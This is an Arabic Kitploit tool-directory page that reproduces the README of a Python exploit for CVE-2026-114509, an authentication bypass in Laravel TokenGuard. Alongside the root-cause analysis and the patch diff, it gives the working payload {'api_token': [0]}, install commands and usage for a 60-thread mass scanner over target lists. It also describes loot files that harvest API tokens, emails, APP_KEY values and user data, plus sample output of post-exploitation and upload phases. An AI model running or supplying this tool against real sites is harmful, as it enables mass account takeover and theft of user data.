Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-114509 — تجاوز مصادقة Laravel TokenGuard عبر بيانات اعتماد API غير نصية | Kitploit
أدوات/GitHubGitHub/nxploited/cve-2026-114509
الاستطلاعماسحات الثغرات الأمنيةماسحات الثغرات الأمنية للويبالاستغلالاستغلال تطبيقات الويبجمع المعلوماتما بعد الاستغلالاختبار الاختراقالمصادقة
GitHubnxploited/cve-2026-114509

CVE-2026-114509

تجاوز مصادقة Laravel TokenGuard عبر بيانات اعتماد API غير نصية

8منذ 20س 26دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-114509

تجاوز مصادقة Laravel TokenGuard عبر بيانات اعتماد API غير نصية

🔴 CVE-2026-114509 — تجاوز مصادقة Laravel TokenGuard

تجاوز مصادقة دون مصادقة مسبقة في إطار عمل Laravel — حارس API المسمى TokenGuard


📋 نظرة عامة

CVE-2026-114509 هي ثغرة تجاوز مصادقة حرجة في TokenGuard المدمج في إطار عمل Laravel.

عند تهيئته باستخدام حارس API قياسي قائم على الرموز المميزة (tokens) على MySQL أو MariaDB، يمكن لمهاجم غير مُصادَق عليه إرسال بيانات اعتماد مُصاغة غير نصية (مصفوفة JSON) تتسبب في مطابقة عملية البحث الخاصة بالمصادقة مع مستخدم موجود غير مقصود — مما يمنح وصولاً كاملاً دون معرفة أي رمز API صالح.

يؤدي هذا إلى استيلاء كامل على الحساب على أي مسار محمي بالحارس المتأثر.


🛡️ تفاصيل الثغرة

الحقلالتفاصيل
معرّف CVECVE-2026-114509
GHSAGHSA-f9x3-7vq9-cph6
البرنامج المتأثرLaravel Framework (laravel/framework)
الإصدارات المتأثرة< 12.68.0 و >= 13.0.0, < 13.29.0
النوعتجاوز المصادقة
CWECWE-287 — مصادقة غير سليمة
CWECWE-1287 — تحقق غير سليم من نوع الإدخال المحدد
درجة CVSS 4.09.2 / 10 — حرجة
متجه CVSSCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
المصادقةلا تتطلب أي مصادقة (قبل المصادقة)
الشرطخلفية MySQL / MariaDB
التصحيحv12.68.0 / v13.29.0

⚙️ تفصيل CVSS 4.0

المقياسالقيمةالمعنى
متجه الهجومالشبكةقابل للاستغلال عن بُعد عبر الإنترنت
تعقيد الهجوممنخفضلا توجد شروط خاصة تتجاوز MySQL/MariaDB
متطلبات الهجومموجودةتتطلب سلوك الإكراه النوعي (type coercion) في MySQL/MariaDB
الامتيازات المطلوبةلا شيءلا حاجة إلى مصادقة
تفاعل المستخدملا شيءلا حاجة إلى أي إجراء من الضحية
السريةعاليةوصول قراءة كامل إلى بيانات المستخدم المُصادَق عليه
السلامةعاليةيمكن تعديل البيانات بصفة المستخدم المتجاوَز
التوافرعاليةيمكن تعطيل الخدمة عبر الاستيلاء على الحساب

🔬 التحليل التقني

السبب الجذري

هذا خلل الخلط النوعي (type confusion) عند الحد الفاصل بين تحليل طلب HTTP، ومنطق إطار عمل PHP، وسلوك قاعدة بيانات SQL. تتوافق ثلاثة سلوكيات عادية لتخلق الثغرة:

  1. TokenGuard يقبل إدخالاً غير نصي — تستخدم الدالة user() في TokenGuard.php الشرط !empty($token) بدلاً من is_string($token) && !empty($token). يمكن لأجسام طلبات JSON توفير مصفوفات أو أعداد صحيحة كقيمة للرمز المميز.

  2. EloquentUserProvider يبني استعلام WHERE IN — عندما تتلقى retrieveByCredentials() قيمة مصفوفة، فإنها تولّد WHERE api_token IN (...) بدلاً من WHERE api_token = ....

  3. الإكراه النوعي في MySQL — يحوّل MySQL أعمدة النصوص إلى أعداد للمقارنة. العدد الصحيح 0 يطابق أي نص لا يبدأ برقم (وهو معظم رموز API)، لأن MySQL يحوّل تلك النصوص إلى 0.0.

سلسلة الاستغلال

JSON Body: {"api_token": [0]}
        │
        ▼
TokenGuard::user()
  → getTokenForRequest()
  → !empty([0]) === true          ← Should reject non-string
        │
        ▼
EloquentUserProvider::retrieveByCredentials()
  → WHERE api_token IN (0)        ← Array becomes WHERE IN
        │
        ▼
MySQL Type Coercion
  → 0 == "wAWrHm..." → true      ← Int 0 matches any string token
        │
        ▼
first() returns User #1
  → check() === true
  → Authentication Bypassed ✓

مسار الهجوم

┌──────────────────────────┐
│    Attacker (No Creds)   │
└────────────┬─────────────┘
             │
             │  POST /api/user
             │  Content-Type: application/json
             │  {"api_token": [0]}
             ▼
┌──────────────────────────┐
│    Laravel Application   │
│                          │
│  TokenGuard::user()      │
│    ↓ !empty([0]) = true  │
│  retrieveByCredentials() │
│    ↓ WHERE IN (0)        │
│  MySQL coercion          │
│    ↓ 0 matches strings   │
│  Returns first user      │
│    ↓ Authenticated ✓     │
│                          │
└────────────┬─────────────┘
             │
             │  200 OK
             │  {"id":1, "name":"Admin",
             │   "email":"[email protected]",
             │   "api_token":"wAWrHm..."}
             ▼
┌──────────────────────────┐
│  Full Account Takeover   │
│  • User data exposed     │
│  • API token leaked      │
│  • Admin access possible │
└──────────────────────────┘

الإصلاح

قام Laravel بترقيع ملف TokenGuard.php بإضافة فحص للنوع — إذا لم يكن الرمز (token) من نوع نصي (string)، فإن الحارس (guard) يُرجع null فورًا ولا يستدعي مزوّد المستخدم (user provider) أبدًا:

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

🚀 الاستخدام

المتطلبات

  • Python 3.7+
  • requests
  • rich (لإخراج الطرفية الملوّن)

التثبيت

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

الأوضاع

تدعم الأداة وضعين: الفحص الجماعي والفحص العميق لهدف واحد.


🔍 الوضع 1: الفحص الجماعي

فحص قائمة من الأهداف بحثًا عن الثغرة:

python CVE-2026-114509.py scan targets.txt

الخيارات:

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
العلمالافتراضيالوصف
targets(مطلوب)ملف يحتوي على عناوين URL المستهدفة (واحد في كل سطر)
--threads60عدد الخيوط المتزامنة
--timeout12مهلة الطلب بالثواني

تنسيق ملف الأهداف (targets.txt):

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

تُعامَل الأهداف التي لا تحتوي على مخطط (scheme) افتراضيًا على أنها https://.

ملفات الإخراج (تُنشأ في دليل السكربت):

الملفالمحتويات
LV_DETECTED.txtجميع تطبيقات Laravel المكتشفة
LV_BYPASS.txtتجاوزات المصادقة المؤكدة
LV_UPLOAD.txtنتائج محاولات الرفع
LV_LOOT.txtالبيانات المستخرجة (الرموز، وعناوين البريد الإلكتروني، ومفاتيح APP_KEY، وبيانات المستخدمين)

🎯 الوضع 2: هدف واحد

فحص عميق لهدف واحد مع إخراج مفصّل:

python CVE-2026-114509.py single https://target.com

الخيارات:

python CVE-2026-114509.py single https://target.com --timeout 15

يشغّل هذا المراحل الأربع بالتتابع مع مخرجات مفصّلة:

Phase 1: Laravel Detection...
  + laravel_session
  + XSRF-TOKEN
  + api:401

Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
  SUCCESS /api/user [POST] [api_token=[0]]
    id: 1
    name: Admin
    email: [email protected]
    api_token: wAWrHmHkVV...

Phase 3: Post-Exploitation...
  users-list /api/users -> count=15
  panel:nova /nova/api/dashboards

Phase 4: File Upload (52 routes)...

Summary:
  Laravel: Yes (3 signals)
  Bypass:  Yes
  Upload:  0 attempts, 0 verified

🔗 سلسلة الاستغلال

تنفّذ الأداة سلسلة من 4 مراحل:

تنزيل الأداة